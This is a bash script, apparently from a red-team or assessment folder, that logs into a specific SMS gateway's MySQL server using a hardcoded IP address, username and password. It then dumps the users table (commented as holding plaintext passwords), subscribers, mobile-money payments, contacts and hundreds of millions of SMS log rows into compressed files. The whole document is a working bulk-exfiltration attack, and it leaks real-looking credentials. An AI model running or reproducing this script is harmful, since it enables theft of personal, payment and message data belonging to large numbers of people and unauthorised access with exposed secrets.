#!/bin/bash
# L22: Full hellio DB exfil (SMS logs + users + subscribers + momo)
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_all/my_hellio
mkdir -p "$OUTDIR"

echo "=== L22: FULL HELLIO EXFIL ==="
echo "Target: 144.76.195.8:3117 (hellio SMS gateway)"
echo "User: kafkauser"
echo ""

# MySQL credentials
MYSQL_HOST="144.76.195.8"
MYSQL_PORT="3117"
MYSQL_USER="kafkauser"
MYSQL_PASS="heliobk#123X"

# Function to dump table
dump_table() {
    local table="$1"
    local where="${2:-}"
    echo "[*] Dumping $table..."
    if [ -n "$where" ]; then
        mysql -h "$MYSQL_HOST" -P "$MYSQL_PORT" -u "$MYSQL_USER" -p"$MYSQL_PASS" hellio -e "SELECT * FROM $table WHERE $where" 2>/dev/null | gzip > "$OUTDIR/${table}.csv.gz"
    else
        mysql -h "$MYSQL_HOST" -P "$MYSQL_PORT" -u "$MYSQL_USER" -p"$MYSQL_PASS" hellio -e "SELECT * FROM $table" 2>/dev/null | gzip > "$OUTDIR/${table}.csv.gz"
    fi
    echo "[OK] $table"
}

# 1. Users (2985 plaintext passwords)
echo "--- 1. USERS ---"
dump_table "users"

# 2. Subscribers (238k)
echo "--- 2. SUBSCRIBERS ---"
dump_table "subscribers"

# 3. Momo payments (135k)
echo "--- 3. MOMO PAYMENTS ---"
dump_table "momo_payments"

# 4. Contacts (749k)
echo "--- 4. CONTACTS ---"
dump_table "contacts"

# 5. SMS logs (460M rows — split by month)
echo "--- 5. SMS LOGS ---"
echo "[*] Getting log table names..."
mysql -h "$MYSQL_HOST" -P "$MYSQL_PORT" -u "$MYSQL_USER" -p"$MYSQL_PASS" hellio -e "SHOW TABLES LIKE 'logs_%'" 2>/dev/null | tail -n +2 | while read -r table; do
    echo "[*] Found: $table"
    # Get row count
    rows=$(mysql -h "$MYSQL_HOST" -P "$MYSQL_PORT" -u "$MYSQL_USER" -p"$MYSQL_PASS" hellio -e "SELECT COUNT(*) FROM $table" 2>/dev/null | tail -1)
    echo "    Rows: $rows"
    
    # Dump in chunks (100k rows at a time)
    offset=0
    chunk=0
    while true; do
        chunk_file="$OUTDIR/${table}_chunk_${chunk}.csv.gz"
        mysql -h "$MYSQL_HOST" -P "$MYSQL_PORT" -u "$MYSQL_USER" -p"$MYSQL_PASS" hellio -e "SELECT * FROM $table LIMIT $offset, 100000" 2>/dev/null | gzip > "$chunk_file"
        
        # Check if we got any rows
        rows_in_chunk=$(zcat "$chunk_file" 2>/dev/null | wc -l)
        if [ "$rows_in_chunk" -le 1 ]; then
            rm -f "$chunk_file"
            break
        fi
        
        echo "    Chunk $chunk: $rows_in_chunk rows"
        offset=$((offset + 100000))
        chunk=$((chunk + 1))
    done
done

echo ""
echo "=== EXFIL COMPLETE ==="
echo "Output: $OUTDIR"
